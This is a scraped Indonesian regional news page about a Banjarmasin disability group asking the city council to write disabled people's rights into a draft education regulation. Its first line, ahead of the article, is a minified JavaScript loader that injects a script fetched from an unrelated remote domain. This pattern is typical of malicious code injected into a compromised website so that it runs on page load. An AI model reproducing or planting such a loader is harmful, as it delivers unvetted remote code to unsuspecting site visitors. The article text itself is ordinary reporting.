(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Disabilitas Tuntut Diakomodir dalam Raperda Pendidikan


BANJARMASIN, Penyusunan Raperda (Rancangan Peraturan Daerah) tentang Pendidikan di Kota Banjarmasin mendapat perhatian khusus DPC Penyandang Disabilitas Indonesia (PPDI) Banjarmasin. Mereka berharap, sejumlah aturan kebijakan juga memperhatikan hak para penyandang disabilitas.

Didampingi Kasi Rehabilitasi Sosial, Penyandang Disabiltas dan Lanjut Usia, Muhransyah  SE, mereka beraudiensi ke Komisi IV DPRD Kota Banjarmasin. Mereka ditemui Ketua Komis IVi, Sri Nurnaningsih, Selasa (3/10).

Pada kesempatan itu,  mereka menuntut hak-hak penyandang disabilitas dimuat dalam penyusunan Perda tentang pendidikan.  Relawan DPC PPDI Banjarmasin, Shintiawaty mengungkapkan, DPRD Banjarmasin sebagai lembaga legislatif harus mendengar keluh-kesah masyarakat. Ia menilai harus ada payung hukum untuk penyandang disabilitas agar mampu terakomodir hak-haknya. “Sebaiknya harus dimuat hak penyandang disabilitas ini kedalam Raperda Pendidikan, ” ujarnya.

Shintiawaty berdalih, bukan hanya sektor pendidikan yang harus ada Perda untuk disabilitas,  akan tetapi secara keseluruhan harus dibuat peraturan ini. ” Karena minat dan bakat penyadang disabilitas tidak diakui, harusnya seluruh sthackholder berperan aktif dalam penyamarataan hak-hak penyandang disabilitas, ” bebernya.

Sementara Ketua Komisi IV DPRD Kota Banjarmasin, Sri Nurnaningsih mengungkapkan bahwa permasalahan penyandang disabilitas di Kota Banjarmasin memang dinilai cukup kompleks.  “Kota Banjarmasin mendapat gelar sebagai kota ramah, akan tetapi semua masih belum memenuhi dengan gelar tersebut, ” ujarnya.

Ia menilai kota ini sudah ketinggalan dengan kota di luar Jawa sudah mempunyai payung hukum untuk penyandang disabilitas. “Maka dari itu, kami akan mengusahakan secepatnya membuat Raperda tentang penyelenggaraan pendidikan serta akan dimuat hak-hak penyandang disabilitas,” tutupnya.***


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.